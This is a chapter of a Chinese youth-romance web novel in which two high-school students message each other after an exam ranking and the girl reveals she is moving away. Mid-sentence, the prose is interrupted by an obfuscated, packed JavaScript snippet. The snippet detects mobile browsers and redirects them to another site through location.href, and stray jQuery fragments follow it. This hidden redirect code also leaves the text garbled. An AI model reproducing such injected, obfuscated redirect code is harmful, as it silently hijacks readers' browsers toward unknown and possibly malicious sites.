百日誓师一过,学校里紧张的气氛瞬间就营造起来了。
高三楼栋外围扯起了巨幅横条,左一道右一道地像捆粽子一样把整栋楼都捆得严严实实。食堂门口的超大电子屏上也开始了以秒为单位的倒计时。
几乎是一瞬间,整间学校里都弥漫着一股说不上来的压抑感。
不知道从什么时候开始,程清亿突然很喜欢在晚饭后站在班级门口,什么都不干,什么都不想,只单纯地看着栏杆外的世界。
广播站每到这个点就开始放一些鼓舞人心的歌曲,试图用这种方式搅动一下高三年级的这滩死水。
大前天是《追梦赤子心》,前天放的《远走高飞》,昨天就变成了《奔跑》。
真真是异曲同工,明里暗里都在让高三的学生大步迈开腿。
程清亿趴在门口阳台的栏杆上,单手托腮,静静等着今天的“拉磨进行曲”。
陡然间,楼底一阵骚动。
两个穿着黑夹克的老师正在把宣传栏里的红榜换新。
看样子,是二模结果出来了。
程清亿自上往下看的时候,看见宣传栏四周有很多人头围着。
男老师手里的新版红榜被卷着,还没展开地随意放在水泥地上。
垂眸,此刻她的眼里没有一丝波澜。
兜里猛地一震,她掏出手机一看。
【恭喜】
林川发来信息。
依旧没什么语气助词。
程清亿回:【你又提前看到排名了?】
等了两秒。
那头回了个:【嗯哼】
与此同时,那卷暂放在地上的新版红榜终于被舒展开。
楼底的一些声音传到了程清亿的耳朵里。
“啊?第一不是林川?”
“啥?怎么可能?”
“那这次第一是谁?”
“竟然是太子?”
“那林哥这次第几?”
……
眉梢微动,程清亿往楼底的方向瞥了眼。
手指在屏幕上劈里啪啦:【被叫到办公室里喝茶了?】
另一头,男生刚从办公室门口出来,低着头看见手机里的信息。
他回:【喝了二郎神新买的云南毛尖】
对面似乎对他这个回答不太满意,聊天框的刘海屏上一直显示着“正在输入中……”却总也不见回音。
林川边走边端着手机,随意找个了阳台栏杆站住了脚。
就这么等着。
不过很遗憾,直到聊天框正上方恢复成“月牙”的emoji之后,他还是没等到。
【干嘛删掉?】他问。
程清亿一怔。
想了想后敲了几个字敷衍过去:【味道怎么样?】
对面答:【不难喝】
她看着屏幕上发过来的那句轻飘飘的话,马上察觉到那头的心情应该还不算坏:【还以为你会很伤心】
林川站在三楼阳台边上,抬头,即将落幕的阳光刚好照进眼里。
他眯了眯眼,下一刻,敲出一句反问:【所以你那时很伤心咯?】
对面似乎停顿了一阵。
转头,给他回个:【其实还好】
林川扯了扯唇角,回了对面:【那我也还好】
“……”
程清亿有些无语。
她觉着林川根本不需要安慰。
这个间隙,手机忽然又一震。
【这次出成绩前,你有什么感觉?】
程清亿看着对面发来的新话题,有些惊讶于这人的未卜先知。
这次好像,是和之前有很大的不同。
似乎有种冥冥之中的笃定感,她这次一定考得不差。
程清亿:【就,感觉不错】
这种感觉就像,她的包里有各种各样的工具,而试卷上出现的每一个知识点,她都能在包里找到对应衬手的工具。
而且更有意思的是,她的大脑里生成了一本可以随翻随到的实时课本。
高中三年的所有知识体系全部像树干一样伸展在各处,任她举着试卷随意挑选。
所以二模刚结束出考场的那一刻,她就已经差不多知道会是现在的结果。
【记住这种感觉】
【然后】
程清亿举着手机,瞳孔微微放大。
【听听自己的心声】
周围忽然静了下来。
楼间的广播里先是发出沙沙的电流声。
随后——
“忽然之间”
“天昏地暗”
“世界可以忽然什么都没有”
“我想起了你”
程清亿没有如愿等到今天的“拉磨进行曲”,转而听到了一曲莫文蔚的《忽然之间》。
一种前所未有的过电感在这一瞬从上到下贯穿。
程清亿忍不住地打了个颤,觉着胸腔里有什么暖暖的东西溢出来后蔓延全身。
天空变成了一种热烈的红色。
整个世界都仿佛慢下来了。
【应该挺好听的】
敲下这句话发出去之后,林川发现自己的视野在某一瞬间忽然失焦了,耳朵里溢满着广播站放的歌。
“如果这天地最终会消失”
“不想一路走来珍惜的回忆”
“没有你”
然后,他看见了站在二楼阳台的那个女孩。
*
“今天的校园点歌环节到这里就结束了,期待明天与你们再见!”
广播站的执勤男生播完最后一句后,按照惯例关闭了所有的扩音设备。
不多时,放在桌上的手机收到了一条信息:
【谢谢学弟】
*
消息刚发出去,一个语音电话就打了过来,慌乱间占据整个手机屏幕。
林川抬头,看向楼下的阳台转角。
火红的傍晚背景里,程清亿把手机靠在耳旁。
神态平静地微微仰着头。
视线朝着他所站立的方向,锚定。
心尖尖好像忽然被什么东西灼了一下。
有点麻麻的。
不解皱眉。
林川按了接通键,把手机同样靠在耳边。
预感这不是一通带来好消息的电话。
他俩离得其实并不远,放数学题里,这简直是一道简单的不能再简单的立方体对角线长度计算了。
角度清晰,线条明朗,没有复杂的数字陷阱,甚至口算也没问题。
可是眼前这道题,他觉着好像有点难算了。
“呼——”
短暂的沉默之后,听筒里传来一声轻轻的呼气声。
像是那边在他看不见的角落里做了很久的思想准备,才终于鼓起勇气。
“林川,”
程清亿的声音听起来有气无力的。
“我要搬家了。”
这句话终于从她嘴里听见。
起先他第一下迸发出来的,是欣喜。
这本就不是什么大问题。
他们做了这么多年邻居,只是短暂的一段时间离得稍微远一点而已,有什么关系呢?
“这周末就搬。”
林川握着手机的掌心不受控制地发紧了一秒,甚至就连视线也跟着抖了一下。
呼——
这下。
轮到他深呼吸了。
气氛有些停滞。
视野里的那个女孩却在这时意外地朝他笑了笑。
然后,看起来有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166168|196717||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些不合时宜的玩笑话就这样顺着电话线传进了他的耳朵里。
“怎么样?”
“这一次”
“我是不是要比李成轩告诉你的要早?”
林川盯着楼下那张嬉皮笑脸。
头一次觉着,这姑娘怎么能这么傻。
他抻了抻眉,然后开口:“你真的很开心吗?”
和他分开,真的有那么开心么?
或者换句话说,他就那么惹人讨厌吗?
只是邻居而已,都这么迫不及待地逃离。
电话那头不说话了。
天色渐渐暗了下来,教学楼下的路灯亮了起来。
可离他们太远了,那点亮照不到他们身上。
这一场预料当中的分别要比想象中要来的早得多。
程清亿也没想到,她和林川会这么快的分开。
大脑里甚至还残留着之前那晚在林川房间里打地铺时的画面。
仅仅隔了几天,就从妈妈那里收到了这样一个消息。
说是因为房东的原因,要提前收回房子。
李椿女士意思是,反正早搬晚搬都得搬,还不如趁着现在这个机会正好提前熟悉一下环境。
猝不及防的变化,完全打乱了一切的节奏。
林川问她,真的有那么开心吗?
违心话说多了,往往连自己都骗过自己。
可这一次,程清亿清楚地知道,她一点都不开心。
搬家时间约定在周末早晨。
周四晚李椿女士终于回了家,忙忙碌碌地收拾了一整天。
周五下了晚自习回来,程清亿看见她住了接近三年的屋子就这样被大包小包塞满。
一种前所未有的陌生感伴随着空气中掀起来的尘土味瞬间蒙了一身。
程清亿在玄关处换鞋时,不自觉地暗暗皱眉。
“行,明早十点这样。”
饭厅餐桌边,李椿女士在打着电话,看见她回来匆忙和电话那头说了再见。
换好棉拖鞋,程清亿直起身子,木木地朝着饭厅看了眼。
桌上放着外卖。
估计是因为东西都收拾起来了,非常破天荒的,李椿女士竟然没有开火做饭。
“过来吃点,学一天累了吧?”
李椿女士朝她招招手,声音温柔。
她没吱声,默默地坐到桌边。
“今晚早点睡觉,明早你李叔叔和轩轩他们开车过来帮我们运行李。”
“噢。”
程清亿撕开包装袋,从中抽出一次性筷子,夹了点面前酸菜鱼。
李椿女士并没有强求她叫“爸爸”,而是简单地用“李叔叔”一笔带过。
倒是李成轩这人,变成了亲昵的“轩轩”。
反正她是不适应的。
这段饭吃得没滋没味。
吃完回房间,程清亿坐在收拾得空荡荡的房间,心里五味杂陈。
她坐在床边,盯着面前的那扇玻璃门。
期盼着像先前任何一晚一样,有人会轻叩三下,敲响它。
她没有拉窗帘,外面的天黑黑的,看不见月亮。
从室内透过玻璃的亮临星地散在大平台的水泥地上,外面安静至极。
诶,她的中药已经被妈妈接管了。
不用端药,林川干嘛平白无故来她房间一趟呢?
程清亿托着腮,不知道自己为什么会在这个时候很想和林川再见一面。
他们又不是以后真的见不到了,只是搬个家而已,学校里也能见面啊。
她这么安慰自己。
可嘴巴却越来越瘪。
然后忽然之间。
面前那扇玻璃门被拉开了。
“程清亿,你哭什么?”